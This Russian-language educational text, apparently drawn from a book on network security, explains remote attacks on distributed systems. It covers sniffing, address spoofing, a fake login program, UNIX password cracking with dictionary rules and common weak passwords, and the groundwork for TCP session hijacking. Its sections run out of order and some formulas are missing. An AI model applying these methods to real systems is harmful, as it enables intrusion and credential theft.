Невозможность контроля в сети Internet за виртуальными каналами обуславливается отсутствием в сети контроля за маршрутом сообщений, а именно, в существующем стандарте IPv4 невозможно по пришедшему на хост сообщению определить путь, через который оно прошло, следовательно, невозможно проверить подлинность адреса отправителя (п. 4.6).
В распределенных ВС связь между объектами системы осуществляется по каналам связи. Поэтому всегда существует принципиальная возможность для атакующего прослушать канал и получить несанкционированный доступ к информации, которой обмениваются по сети ее абоненты (п. 3.2.1 и п. 4.1). В том случае, если проходящая по каналу информация не зашифрована и атакующий каким-либо образом получает доступ к каналу, то УА "Анализ сетевого трафика" является наиболее эффективным способом получения информации. Очевидна и причина, делающая эту атаку столь эффективной. Эта причина - передача по сети незашифрованной информации.
Использование криптостойких алгоритмов шифрования пакетов обмена между объектами РВС на канальном, прикладном уровнях делает анализ сетевого трафика практически бессмысленным. В случае канального шифрования, которое обычно выполняется аппаратно, по сети передаются полностью зашифрованные пакеты. В том случае, если в сети используются алгоритмы шифрования пакетов на сетевом - прикладном уровнях, то шифрация применяется только к полям данных пакетов соответствующих уровней, то есть заголовки пакетов, содержащие служебную информацию, не являются зашифрованными, поэтому атакующий имеет возможность, перехватив пакет, подвергнуть анализу данную служебную информацию.
|
| |
|
<<< |
^^^ |
>>> |
Отсутствие в РВС полной информации о ее объектах
В распределенной системе с разветвленной структурой, состоящей из большого числа объектов, может возникнуть ситуация, когда для доступа к определенному объекту системы у субъекта взаимодействия может не оказаться необходимой информации об интересующем объекте (п. 3.2.3.2). Обычно такой недостающей информацией об объекте является его адрес. Такая ситуация характерна и вполне объяснима для сетей с разветвленной структурой.
Объясним это на простом примере. Предположим, что пользователь сети Internet решил подключиться, например, к WWW-серверу фирмы Novell. Он знает ее название, но не имеет информации об IP-адресе или имени ее сервера. В этом случае пользователь может послать широковещательный запрос всем хостам в сети с надеждой, что запрос дойдет до интересующего его сервера, и тот в ответ пришлет столь нужный для пользователя адрес. Очевидно, что в глобальной сети использование данной схемы по меньшей мере неразумно. Поэтому для подобных целей пользователь может подключиться к ближайшему известному ему поисковому серверу (Altavista, например) и послать запрос на поиск адреса интересующей его фирмы в базе данных информационного сервера.
Рассмотренный выше пример наглядно описывает возможные алгоритмы удаленного поиска (понятие удаленного поиска введено в п. 3.2.3.2), которые используют объекты РВС. В первом случае, когда поиск осуществляется внутри сегмента сети, субъект системы посылает широковещательный запрос, который получают все объекты РВС, и тот из них, для кого предназначался запрос, передает в ответ необходимую для адресации информацию. Во втором случае, когда необходимо осуществить глобальный поиск, субъект распределенной системы посылает запрос на ближайший информационно-поисковый сервер, который, просканировав свою базу данных в поисках адреса запрашиваемого ресурса, либо отошлет в ответ на запрос найденный адрес, либо обратится к следующему в системе поисково-информационному серверу. Таким образом, если в распределенной ВС существуют объекты, информация о которых не определена, то для обеспечения ее нормального функционирования необходимо использование описанных выше алгоритмов удаленного поиска.
Примером РВС с заложенной неопределенностью является сеть Internet, в которой, во-первых, у хостов, находящихся в одном сегменте, может не быть информации об аппаратных адресах друг друга (см. УА в п. 4.2), и, во-вторых, применяются непригодные для непосредственной адресации мнемонические имена хостов, используемые для удобства пользователей при обращении к удаленным системам (см. УА в п. 4.3).
На наш взгляд, очевиден тот факт, что в системе с заложенной в нее неопределенностью существуют потенциальные возможности внесения в систему ложного объекта и выдачи одного объекта системы за другой (см. УА в п. 3.2.3, 4.2, 4.3). Этот факт объясняется тем, что, являясь следствием неопределенности системы, алгоритмы удаленного поиска несут в себе потенциальную угрозу, состоящую в том, что на посланный запрос может прийти ложный ответ, в котором вместо информации о запрашиваемом объекте будет информация о ложном объекте. Вследствие этого распределенная ВС с заложенной неопределенностью является потенциально опасной системой и может подвергаться удаленным атакам.
Отсутствие в РВС возможности контроля за маршрутом сообщений
В распределенных ВС в качестве начальной идентифицирующей объект информации обычно выступает его адрес. Под адресом в РВС понимается определенная системой уникальная информация, которой он наделяется при внесении в систему. Теперь все сообщения от других объектов РВС, адресованные на этот адрес, поступят на данный объект. Путь, или, как принято говорить, маршрут сообщения определяется топологией РВС и проходит через совокупность узлов-маршрутизаторов. Следовательно, в каждом приходящем на объект РВС пакете может быть полностью отмечен его маршрут- список адресов маршрутизаторов, пройденных на пути к адресату. Этот отмеченный в пакете маршрут станет информацией, аутентифицирующей (подтверждающей) с точностью до подсети, подлинность адреса субъекта, отославшего сообщение. Другой вариант аутентификации адреса отправителя - фильтрация маршрутизатором пакетов с неверным адресом отправителя (п. 6.3).
Если в РВС не предусмотреть подобных возможностей контроля за маршрутом сообщения, то адрес отправителя сообщения оказывается ничем не подтвержден. Таким образом, в системе будет существовать возможность отправки сообщения от имени любого объекта системы, а именно путем указания в заголовке сообщения чужого адреса отправителя (см. атаки в п. 4.3-4.6). Также в подобной РВС будет невозможно определить, откуда на самом деле пришло сообщение, а, следовательно, вычислить координаты атакующего (в сети Internet невозможно доступным способом вычислить инициатора однонаправленной удаленной атаки).
Таким образом, мы убеждаемся, что отсутствие в распределенной ВС возможности контроля за маршрутом сообщений порождает, во-первых, невозможность контроля за созданием соединений, и, во-вторых, возможность анонимной отправки сообщения, следовательно является причиной успеха удаленных атак на РВС.
Отсутствие выделенного канала связи между объектами РВС
В п. 3.2.1 была рассмотрена типовая УА "Анализ сетевого трафика" . Кратко напомним, что данная атака заключается в прослушивании канала передачи сообщений в сети. Результат этой атаки во-первых, выяснение логики работы распределенной ВС и, во-вторых, перехват потока информации, которой обмениваются объекты системы. Такая атака программно возможна только в случае, если атакующий находится в сети с физически широковещательной средой передачи данных как, например, всем известная и получившая широкое распространение среда Ethernet (в отличие от Token Ring, которая не является широковещательной, но и не имеет достаточного распространения). Очевидно, что данная УА была бы программно невозможна, если бы у каждого объекта системы существовал для связи с любым другим объектом выделенный канал (вариант физического прослушивания выделенного канала не рассматривается, так как без специфических аппаратных средств подключение к выделенному каналу невозможно).
Следовательно, причина успеха данной типовой УА - наличие широковещательной среды передачи данных или отсутствие выделенного канала связи между объектами РВС.
Глобальная сеть не может быть построена по принципу прямой связи между объектами системы, то есть невозможно для каждого объекта обеспечить выделенный канал для связи с любым другим объектом системы. Поэтому в Internet связь осуществляется через цепочку маршрутизаторов, а, следовательно, сообщение, проходя через большое количество промежуточных подсетей, может быть перехвачено. Также к Internet подключено большое число локальных Ethernet-сетей, использующих топологию "общая шина" . В сетях с такой топологией несложно программно осуществлять перехват всех сообщений в сети. Однако данный недостаток присущ скорее не Internet, а Ethernet.
Перечень информационных ресурсов Internet, посвященных вопросам информационной безопасности
Зарубежные сайты
| First (Forum of Incident Response and Security Teams) |
http://www.first.org |
| CERT (Computer Emergensy Response Team) |
http://www.cert.org |
| CIAC (Computer Incident Advisory Capability) |
http://ciac.llnl.gov |
| NASIRC (NASA Automated Systems Incident Response Capability) |
http://nasirc.nasa.gov |
| DoD Information Analysys Center (IAC) |
http://www.dtic.dla.mil/iac |
| NSA (National Security Agency) |
http://www.nsa.gov:8080 |
| FBI Computer crime information |
http://www.fbi.gov/compcrim.html |
| COAST (Computer Operations, Audit, and Security Technology ) |
http://www.cs.purdue.edu/coast |
Отечественные сайты
| СЦЗИ (Специализированный Центр Защиты Информации при СПбГТУ) |
http://www.ssl.stu.neva.ru |
| Spy Market Pro |
http://www.spymarket.com |
| РЕГИОНэксперт |
http://www.regionexpert.ru/safety/10.htm |
| Zhurnal.ru |
http://www.zhurnal.ru/hack-zone |
| ИКСИ (Институт криптографии, связи и информатики) |
http://www.fssr.ru |
По цели воздействия
нарушение конфиденциальности информации либо ресурсов системы (класс 2.1) нарушение целостности информации (класс 2.2) нарушение работоспособности (доступности) системы (класс 2.3)
Этот классификационный признак является прямой проекцией трех основных типов угроз - раскрытия, целостности и отказа в обслуживании.
Основная цель практически любой атаки - получить несанкционированный доступ к информации. Существуют две принципиальные возможности доступа к информации: перехват и искажение. Возможность перехвата информации означает получение к ней доступа, но невозможность ее модификации. Следовательно, перехват информации ведет к нарушению ее конфиденциальности. Примером перехвата информации может служить прослушивание канала в сети (п. 3.2.1). В этом случае имеется несанкционированный доступ к информации без возможности ее искажения. Очевидно также, что нарушение конфиденциальности информации является пассивным воздействием.
Возможность искажения информации означает либо полный контроль над информационным потоком между объектами системы, либо возможность передачи сообщений от имени другого объекта. Таким образом, очевидно, что искажение информации ведет к нарушению ее целостности. Данное информационное разрушающее воздействие представляет собой яркий пример активного воздействия. Примером удаленной атаки, цель которой нарушение целостности информации, может служить типовая удаленная атака (УА) "Ложный объект РВС" (п. 3.2.3).
Принципиально другой целью атаки является нарушение работоспособности системы. В этом случае не предполагается получение атакующим несанкционированного доступа к информации. Его основная цель - добиться, чтобы операционная система на атакуемом объекте вышла из строя и для всех остальных объектов системы доступ к ресурсам атакованного объекта был бы невозможен. Примером удаленной атаки, целью которой является нарушение работоспособности системы, может служить типовая УА "Отказ в обслуживании" (п. 3.2.4).
По характеру воздействия
пассивное (класс 1.1) активное (класс 1.2)
Пассивным воздействием на распределенную вычислительную систему назовем воздействие, которое не оказывает непосредственного влияния на работу системы, но может нарушать ее политику безопасности. Именно отсутствие непосредственного
влияния на работу распределенной ВС приводит к тому, что пассивное удаленное воздействие практически невозможно обнаружить. Примером пассивного типового удаленного воздействия в РВС служит прослушивание канала связи в сети.
Под активным воздействием на распределенную ВС будем понимать воздействие, оказывающее непосредственное влияние на работу системы (изменение конфигурации РВС, нарушение работоспособности и т. д.) и нарушающее принятую в ней политику безопасности. Практически все типы удаленных атак являются активными воздействиями. Это связано с тем, что в самой природе разрушающего воздействия содержится активное начало. Очевидной особенностью активного воздействия по сравнению с пассивным является принципиальная возможность его обнаружения (естественно, с большей или меньшей степенью сложности), так как в результате его осуществления в системе происходят определенные изменения. В отличие от активного, при пассивном воздействии не остается никаких следов (от того, что атакующий просмотрит чужое сообщение в системе, в тот же момент ничего не изменится).
По наличию обратной связи с атакуемым объектом
с обратной связью (класс 4.1) без обратной связи (однонаправленная атака) (класс 4.2)
Удаленная атака, осуществляемая при наличии обратной связи с атакуемым объектом, характеризуется тем, что на некоторые запросы, переданные на атакуемый объект, атакующему требуется получить ответ, а, следовательно, между атакующим и целью атаки существует обратная связь, которая позволяет атакующему адекватно реагировать на все изменения, происходящие на атакуемом объекте. Подобные удаленные атаки наиболее характерны для распределенных ВС.
В отличие от атак с обратной связью удаленным атакам без обратной связи не требуется реагировать на какие-либо изменения, происходящие на атакуемом объекте. Атаки данного вида обычно осуществляются передачей на атакуемый объект одиночных запросов, ответы на которые атакующему не нужны. Подобную УА можно называть однонаправленной удаленной атакой. Примером однонаправленных атак является типовая УА "Отказ в обслуживании" (п. 3.2.4), а также атаки, рассмотренные в п. 4.3, 4.4 и 4.6.
По расположению субъекта атаки относительно атакуемого объекта
внутрисегментное (класс 5.1) межсегментное (класс 5.2)
Рассмотрим ряд определений:
Субъект атаки (или источник атаки) - это атакующая программа или оператор, непосредственно осуществляющие воздействие.
Хост (host) - сетевой компьютер.
Маршрутизатор (router) - устройство, обеспечивающее маршрутизацию пакетов обмена в глобальной сети.
Подсеть (subnetwork) (в терминологии Internet) - совокупность хостов, являющихся частью глобальной сети, для которых маршрутизатором выделен одинаковый номер подсети. Подсеть - логическое объединение хостов маршрутизатором. Хосты внутри одной подсети могут взаимодействовать между собой непосредственно, минуя маршрутизатор.
Сегмент сети - физическое объединение хостов. Например, сегмент сети образуют совокупность хостов, подключенных к серверу по схеме "общая шина" . При такой схеме подключения каждый хост имеет возможность подвергать анализу любой пакет в своем сегменте.
С точки зрения удаленной атаки чрезвычайно важно, как по отношению друг к другу располагаются субъект и объект атаки, то есть в одном или в разных сегментах они находятся. В случае внутрисегментной атаки, как следует из названия, субъект и объект атаки находятся в одном сегменте. Пример такой атаки приведен в п. 4.1 и 4.2. При межсегментной атаке субъект и объект атаки находятся в разных сегментах. Примеры в п. 4.3-4.6.
Данный классификационный признак позволяет судить о так называемой "степени удаленности" атаки.
В дальнейшем будет показано, что на практике межсегментную атаку осуществить значительно труднее, чем внутрисегментную. Важно отметить, что межсегментная удаленная атака представляет гораздо большую опасность, чем внутрисегментная. Это связано с тем, что
в случае межсегментной атаки объект её и непосредственно атакующий могут находиться на расстоянии многих тысяч километров друг от друга, что может существенно воспрепятствовать мерам по отражению атаки.
По уровню эталонной модели ISO/OSI, на котором осуществляется воздействие
физический (класс 6.1) канальный (класс 6.2) сетевой (класс 6.3) транспортный (класс 6.4) сеансовый (класс 6.5) представительный (класс 6.6) прикладной (класс 6.7)
Международная Организация по Стандартизации (ISO) приняла стандарт ISO 7498, описывающий взаимодействие открытых систем (OSI). Распределенные ВС также являются открытыми системами. Любой сетевой протокол обмена, как и любую сетевую программу, можно с той или иной степенью точности спроецировать на эталонную семиуровневую модель OSI. Такая многоуровневая проекция позволит описать в терминах модели OSI функции, заложенные в сетевой протокол или программу. Удаленная атака также является сетевой программой. В связи с этим представляется логичным рассматривать удаленные атаки на распределенные ВС, проецируя их на эталонную модель ISO/OSI.
Диаграмма 1. Классификация удаленных атак на распределенные ВС
|
| |
|
<<< |
^^^ |
>>> |
По условию начала осуществления воздействия
Удаленное воздействие, также как и любое другое, может начать осуществляться только при определенных условиях. В распределенных ВС существуют три вида условий начала осуществления удаленной атаки:
Атака по запросу от атакуемого объекта (класс 3.1)
В этом случае атакующий ожидает передачи от потенциальной цели атаки запроса определенного типа, который и будет условием начала осуществления воздействия. Примером подобных запросов в ОС Novell NetWare может служить SAP-запрос (атака описана в [9]), а в сети Internet - DNS- и ARP-запросы. Удаленные атаки на объекты сети Internet, осуществляемые по запросу от атакуемой системы, рассматриваются в п. 4.2 и 4.3. Важно отметить, что данный тип удаленных атак наиболее характерен для распределенных ВС.
Атака по наступлению ожидаемого события на атакуемом объекте (класс 3.2)
В этом случае атакующий осуществляет постоянное наблюдение за состоянием операционной системы удаленной цели атаки и при возникновении определенного события в этой системе начинает воздействие. Как и в предыдущем случае, инициатором осуществления начала атаки выступает сам атакуемый объект. Примером такого события может быть прерывание сеанса работы пользователя с сервером в ОС Novell NetWare без выдачи команды LOGOUT [9].
Безусловная атака (класс 3.3)
В этом случае начало осуществления атаки безусловно по отношению к цели атаки, то есть атака осуществляется немедленно и безотносительно к состоянию системы и атакуемого объекта. Следовательно, в этом случае атакующий является инициатором начала осуществления атаки. Пример атаки данного вида
см. в пункте 4.4.
Подбор пароля
Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной безопасности со всех точек зрения. Были предприняты шаги не только по закрытию тех брешей, которые он использовал, но и по поиску и классификации причин их появления в UNIX-системах. Также была выявлена необходимость создания некоторого координационного органа, в котором бы накапливалась и систематизировалась информация о различных компьютерных инцидентах, применяемых методах атак и способах защиты от них. Вскоре такой центр CERT (Computer Emergency Response Team) был создан, и первым появившимся в декабре 1988 года бюллетенем было сообщение об уязвимостях, использованных червем.
Однако и компьютерные взломщики совершенствовали свои методы. Одной из атак, ставшей наиболее популярной, была атака с подбором пароля другого пользователя. Ей активно пользовался и вирус Морриса, но, либо развив его идеи, либо развиваясь независимо, вскоре появилось множество программ, занимавшихся подбором пароля к UNIX-машине. И долгое время слова "взломать UNIX" означали запустить взломщик (cracker) паролей.
Как известно, в файле /etc/passwd лежит ключевая информация о всех пользователях системы, включая его входное имя, пароль, полное имя и т. п. Даже в 70-х годах, когда создавались первые версии UNIX, его разработчикам было понятно, что пароль пользователя нельзя хранить в открытом виде. Надо отдать им должное, они сумели придумать схему, благодаря которой целенаправленные атаки на то, к чему всегда стремится не очень добропорядочный пользователь, а именно - завладеть паролем другого, смогли реализоваться только спустя 15 лет. Они не пошли по простому пути шифрования пароля по какому-то секретному алгоритму, т. к. рано или поздно этот алгоритм стал бы известен очередному не в меру любопытному, но в меру грамотному программисту и он смог бы расшифровать все пароли. Они выбрали путь необратимого преобразования пароля, когда из исходного пароля путем применения к ней специальной однонаправленной функции (называемой функцией хэширования) получалось некое значение, из которого никак нельзя получить исходный пароль. Более того, разработчики взяли математически криптостойкий алгоритм DES и на основе его создали функцию crypt(), преобразующую пароль в строку, расположенную в файле /etc/passwd. Эту функцию написал, кстати, Роберт Моррис-старший.
Итак, рассмотрим немного подробнее алгоритм, применяемый UNIX для преобразования пароля пользователя. Кстати, этот алгоритм применяется до сих пор в большинстве *IX.
Из исходного пароля берутся первые восемь байт. Также выбирается некоторое 12-битное случайное число (salt), используемое для операции хэширования. Его необходимость следует из того, чтобы одинаковые пароли (возможно, у разных людей) не выглядели одинаково после хэширования. Затем к этим двум параметрам применяется специальная функция шифрования, дающая на выходе 64-битное значение. Наконец, сам salt
преобразуется в два читабельных ASCII-символа, а хэш - в 11 символов. Итак, функция crypt (passwd8, salt)
выдает
13-символьную строчку, которая и записывается в файл /etc/passwd.
При входе пользователя в систему вызывается та же функция crypt() с введенным паролем и salt, полученными из /etc/passwd. Если результат функции оказывается равным тому значению, что хранится в файле, то аутентификация считается состоявшейся.
После анализа этой схемы, первое, что приходит в голову потенциальному взломщику - это перебор. Берется некоторый набор символов (например, маленькие и большие буквы, цифры и специальные символы типа знаков препинания - всего получается 94 символа), а затем из них по очереди составляются все комбинации вплоть до 8-символьной длины. К каждой из них применяется
crypt(), и результат сравнивается с имеющимся. Естественно, что в эти комбинации и попадет рано или поздно любой пароль пользователя.
Обрезание пароля до 8 значимых символов, конечно, резко ограничивает множество для перебора, но для тех времен это было вполне допустимо, т. к. функция crypt() была реализована заведомо неэффективно, и время одного ее выполнения доходило до одной секунды на маши-
не класса PDP. Таким образом, в среднем злоумышленник потратил бы 
секунд или около 100 миллионов лет. Если же в качестве множества символов взять маленькие латинские буквы (наиболее часто используемое множество), то время перебора составит
в среднем 
3440 лет. Заметим, однако, что на сегодняшний день скорость оптимизированной функции crypt() на машине класса Pentium составляет почти 10000 crypt/сек, т. е. она за 20 лет повысилась в 10000 раз! Поэтому сегодня пароль из последнего примера мы сможем найти в среднем за 125 дней!
Более того, во-первых, этот процесс легко можно распараллелить, а во-вторых, существуют специальные платы, аппаратно выполняющие процесс шифрования, с помощью которых можно еще уменьшить время на несколько порядков.
Однако вернемся на несколько лет назад, когда вычислительной мощности для полного перебора всех паролей не хватало. Тем не менее, хакерами был придуман остроумный (но совершенно очевидный) метод, основанный на людской психологии. Он следует из того, что человеку нелегко запомнить длинные бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата рождения и т. п.). Ну, а поскольку в любом языке не более 100000 слов, то их перебор займет весьма небольшое время, и от 40 до 80% существующих паролей может быть угадано с помощью такой простой схемы, называемой "атакой по словарю" . (Кстати, до 80% этих паролей может быть угадано с использованием словаря размером всего 1000 слов!). Как вы уже знаете, даже вирус Морриса применял такой способ, тем более что в UNIX "под рукой" часто оказывается файл-словарь, обычно используемый программами-корректорами. Что же касается "собственных" паролей, то файл /etc/passwd опять-таки может дать немало информации о пользователе: его входное имя, имя и фамилию, домашний каталог. Вирус Морриса, как вы помните, с успехом пользовался следующими предположениями:
в качестве пароля берется входное имя пользователя; пароль представляет собой двойной повтор имени пользователя; то же, но прочитанное справа налево; имя или фамилия пользователя; то же, но в нижнем регистре.
Забегая несколько вперед, остановимся на сегодняшней ситуации со вскрытием паролей. Во-первых, сегодня трудно предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть файл /etc/passwd для последующего анализа (его, безусловно, можно получить, используя сценарий 1 или 2 через изъян в демоне - но это бессмысленно, т. к. злоумышленник в этом случае и так стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм так называемого "затенения" (shadowing) файла паролей - он перемещается в другое место и становится недоступным обычным пользователям по чтению. Но это не сильно эффективное средство, что связано опять-таки с идеологией UNIX, и вызов функции getpwent() иногда позволяет получить пароли пользователей в классическом виде. В-третьих, иногда функция crypt() заменяется на другую (еще более медленную!) хэш-функцию, и запуск старых программ-вскрывателей ни к чему не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше, чем crypt(). Наконец, среди пользователей в последние годы проводится большая "разъяснительная работа" по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки "по словарю" пусть медленно, но падает.
Однако психологический фактор останется до тех пор, пока с компьютером работает человек, и, наверное, никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых и радующих душу паролей, как 34jXs5U@bTa!6. Поэтому даже искушенный пользователь хитрит и выбирает такие пароли, как hope1, user1997, pAsSwOrD, toor, roottoor, parol, gfhjkm, asxz. Видно, что все они, как правило, базируются на осмысленном слове и некотором простом правиле его преобразования: прибавить цифру, прибавить год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово, записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой, составить пароль из рядом расположенных на клавиатуре клавиш и т. п.
Поэтому не надо удивляться, если такой "хитрый" пароль будет вскрыт хакерами - они не глупее вас, и уже вставили в свои программы те правила, по которым может идти преобразование слов. В самых продвинутых программах (Crack 4.1, John The Ripper 1.3) эти правила могут быть программируемыми и задаваться с помощью специального языка самим хакером.
Приведем пример эффективности такой стратегии перебора. Во многих книгах по безопасности предлагается выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например good!password. Подсчитаем, за сколько времени в среднем будут сломаны такие пароли, если такое правило включено в набор программы-взломщика (пусть словарь 10000 слов, разделительными знаками могут быть 10 цифр и 32 знака препинания и специальных символа, машина класса Pentium со скоростью 10000 crypt/сек):
сек. или всего 2.5 дня!
Итак, из всего вышесказанного ясно, насколько важно для вашей безопасности иметь хорошие пароли, причем это не зависит от операционной системы, которую вы используете. К сожалению, рекомендации по поводу выбора таких паролей выходят за рамки этой книги.
Подмена доверенного объекта или субъекта распределенной ВС
Одной из проблем безопасности распределенной ВС является недостаточная идентификация и аутентификация ее удаленных друг от друга объектов. Основная трудность заключается в осуществлении однозначной идентификации сообщений, передаваемых между субъектами и объектами взаимодействия. Обычно в распределенных ВС эта проблема решается следующим образом: в процессе создания виртуального канала объекты РВС обмениваются определенной информацией, уникально идентифицирующей данный канал. Такой обмен обычно называется "рукопожатием" (handshake). Однако, отметим, что не всегда для связи двух удаленных объектов в РВС создается виртуальный канал. Практика показывает, что зачастую, особенно для служебных сообщений (!?) (например, от маршрутизаторов) используется передача одиночных сообщений, не требующих подтверждения.
Как известно, для адресации сообщений в распределенных ВС используется сетевой адрес, который уникален для каждого объекта системы (на канальном уровне модели OSI - это аппаратный адрес сетевого адаптера, на сетевом уровне - адрес определяется в зависимости от используемого протокола сетевого уровня (например, IP-адрес). Сетевой адрес также может использоваться для идентификации объектов распределенной ВС. Однако сетевой адрес достаточно просто подделывается и поэтому использовать его в качестве единственного средства идентификации объектов недопустимо.
В том случае, когда распределенная ВС использует нестойкие алгоритмы идентификации удаленных объектов, то оказывается возможной типовая удаленная атака, заключающаяся в передаче по каналам связи сообщений от имени произвольного объекта или субъекта РВС. При этом существуют две разновидности данной типовой удаленной атаки:
атака при установленном виртуальном канале, атака без установленного виртуального канала.
В случае установленного виртуального соединения атака будет заключаться в присвоении прав доверенного субъекта взаимодействия, легально подключившегося к объекту системы, что позволит атакующему вести сеанс работы с объектом распределенной системы от имени доверенного субъекта. Реализация удаленных атак данного типа обычно состоит в передаче пакетов обмена с атакующего объекта на цель атаки от имени доверенного субъекта взаимодействия (при этом переданные сообщения будут восприняты системой как корректные). Для осуществления атаки данного типа необходимо преодолеть систему идентификации и аутентификации сообщений, которая, в принципе, может использовать контрольную сумму, вычисляемую с помощью открытого ключа, динамически выработанного при установлении канала, случайные многобитные счетчики пакетов и сетевые адреса станций. Однако на практике, например, в ОС Novell NetWare 3.12-4.1 для идентификации пакетов обмена используются два 8-битных счетчика - номер канала и номер пакета [9]; в протоколе TCP для идентификации используются два 32-битных счетчика. Пример удаленной атаки на сеть Internet данного типа описан в п. 4.5.2.
Как было замечено выше, для служебных сообщений в распределенных ВС часто используется передача одиночных сообщений, не требующих подтверждения, то есть не требуется создание виртуального соединения. Атака без установленного виртуального соединения заключается в передаче служебных сообщений от имени сетевых управляющих устройств, например, от имени маршрутизаторов.
Очевидно, что в этом случае для идентификации пакетов возможно лишь использование статических ключей, определенных заранее, что довольно неудобно и требует сложной системы управления ключами. Однако, при отказе от такой системы идентификация пакетов без установленного виртуального канала будет возможна лишь по сетевому адресу отправителя, который легко подделать.
Посылка ложных управляющих сообщений может привести к серьезным нарушениям работы распределенной ВС (например, к изменению ее конфигурации). Рассмотренная в п. 3.2.3.1 типовая удаленная атака, использующая навязывание ложного маршрута, основана на описанной идее.
Подмена доверенного объекта РВС является активным воздействием (класс 1.2), совершаемым с целью нарушения конфиденциальности (класс 2.1) и целостности (класс 2.2) информации, по наступлению на атакуемом объекте определенного события (класс 3.2). Данная удаленная атака может являться как внутрисегментной (класс 5.1), так и межсегментной (класс 5.2), как с обратной связью (класс 4.1), так и без обратной связи (класс 4.2) с атакуемым объектом и осуществляется на сетевом (класс 6.3) и транспортном (класс 6.4) уровнях модели OSI.
Подмена информации
Ложный объект позволяет не только модифицировать, но и подменять перехваченную им информацию. Если модификация информации приводит к ее частичному искажению, то подмена - к ее полному изменению.
При возникновении в сети определенного контролируемого ложным объектом события одному из участников обмена посылается заранее подготовленная дезинформация. При этом такая дезинформация в зависимости от контролируемого события может быть воспри-нята либо как исполняемый код, либо как данные. Рассмотрим пример подобного рода дезинформации.
Предположим, что ложный объект контролирует событие, которое состоит в подключении пользователя к серверу. В этом случае он ожидает, например, запуска соответствующей программы входа в систему. В случае, если эта программа находится на сервере, то при ее запуске исполняемый файл передается на рабочую станцию. Вместо того, чтобы выполнить данное действие, ложный объект передает на рабочую станцию код заранее написанной специальной программы - захватчика паролей. Эта программа выполняет визуально те же действия, что и настоящая программа входа в систему, например, запрашивая имя и пароль пользователя, после чего полученные сведения посылаются на ложный объект, а пользователю выводится сообщение об ошибке. При этом пользователь, посчитав, что он неправильно ввел пароль (пароль обычно не отображается на экране) снова запустит программу подключения к системе (на этот раз настоящую) и со второго раза получит доступ. Результат такой атаки - имя и пароль пользователя, сохраненные на ложном объекте.
Подмена одного из субъектов TCP-соединения в сети Internet (hijacking)
Протокол TCP (Transmission Control Protocol) является одним из базовых протоколов транспортного уровня сети Internet. Этот протокол позволяет исправлять ошибки, которые могут возникнуть в процессе передачи пакетов, и является протоколом с установлением логического соединения - виртуального канала. По этому каналу передаются и принимаются пакеты с регистрацией их последовательности, осуществляется управление потоком пакетов, организовывается повторная передача искаженных пакетов, а в конце сеанса канал разрывается. При этом протокол TCP является единственным базовым протоколом из семейства TCP/IP, имеющим дополнительную систему идентификации сообщений и соединения. Именно поэтому протоколы прикладного уровня FTP и TELNET, предоставляющие пользователям удаленный доступ на хосты Internet, реализованы на базе протокола TCP.
Для идентификации TCР-пакета в TCP-заголовке существуют два 32-разрядных идентификатора, которые также играют роль счетчика пакетов. Их названия - Sequence Number и Acknowledgment Number. Также нас будет интересовать поле, называемое Control Bits.
Это поле размером 6 бит может содержать следующие командные биты (слева направо):
URG: Urgent Pointer field significant
ACK: Acknowledgment field significant
PSH: Push Function
RST: Reset the connection
SYN: Synchronize sequence numbers
FIN: No more data from sender
Далее рассмотрим схему создания TCP-соединения (рис 4.9).
Предположим, что хосту А необходимо создать TCP-соединение с хостом В. Тогда А посылает на В следующее сообщение:
Рис. 4.9. Схема создания TCP-соединения.
1. A - > B:SYN, ISSa
Это означает, что в передаваемом A сообщении установлен бит SYN (synchronize sequence number), а в поле Sequence Number установлено начальное 32-битное значение ISSa (Initial Sequence Number).
В отвечает:
2. B - > A: SYN, ACK, ISSb, ACK(ISSa+1)
В ответ на полученный от А запрос В
отвечает сообщением, в котором установлен бит SYN и установлен бит ACK; в поле Sequence Number хостом В
устанавливается свое начальное значение счетчика - ISSb; поле Acknowledgment Number содержит значение ISSa, полученное в первом пакете от хоста А и увеличенное на единицу.
А, завершая рукопожатие (handshake), посылает:
3. A - > B: ACK, ISSa+1, ACK(ISSb+1)
В этом пакете установлен бит ACK; поле Sequence Number содержит ISSa + 1; поле Acknowledgment Num-ber содержит значение ISSb + 1. Посылкой этого пакета на хост В
заканчивается трехступенчатый handshake, и TCP-соединение между хостами А и В
считается установленным.
Теперь хост А может посылать пакеты с данными на хост В по только что созданному виртуальному TCP-каналу:
4. A - > B: ACK, ISSa+1, ACK(ISSb+1); DATA
Из рассмотренной выше схемы создания TCP-соеди-нения видно, что единственными идентификаторами TCP-абонентов и TCP-соединения являются два 32-бит-ных параметра Sequence Number и Acknowledgment Number. Следовательно, для формирования ложного TCP-пакета атакующему необходимо знать текущие идентификаторы для данного соединения - ISSa и ISSb. Проблема возможной подмены TCP-сообщения становится еще более важной, так как анализ протоколов FTP и TELNET, реализованных на базе протокола TCP, показал, что проблема идентификации FTP- и TELNET-пакетов целиком возлагается данными протоколами на транспортный уровень, то есть на TCP. Это означает, что атакующему достаточно, подобрав соответствующие текущие значения идентификаторов TCP-пакета для данного TCP-соединения (например, данное соединение может представлять собой FTP- или TELNET-подклю-чение), послать пакет с любого хоста в сети Internet
от имени одного из участников данного соединения (например, от имени клиента), и данный пакет будет воспринят как верный! К тому же, так как FTP и TELNET
не проверяют IP-адреса отправителей, от которых им приходят сообщения, то в ответ на полученный ложный пакет, FTP- или TELNET-сервер отправит ответ на указанный в ложном пакете настоящий IP-адрес атакующего, то есть атакующий начнет работу с FTP- или TELNET-сервером со своего IP-адреса, но с правами легально подключившегося пользователя, который, в свою очередь,
потеряет связь с сервером из-за рассогласования счет-
чиков!
Итак, для осуществления описанной выше атаки необходимым и достаточным условием является знание двух текущих 32-битных параметров ISSa и ISSb, идентифицирующих TCP-соединение. Рассмотрим возможные способы их получения.
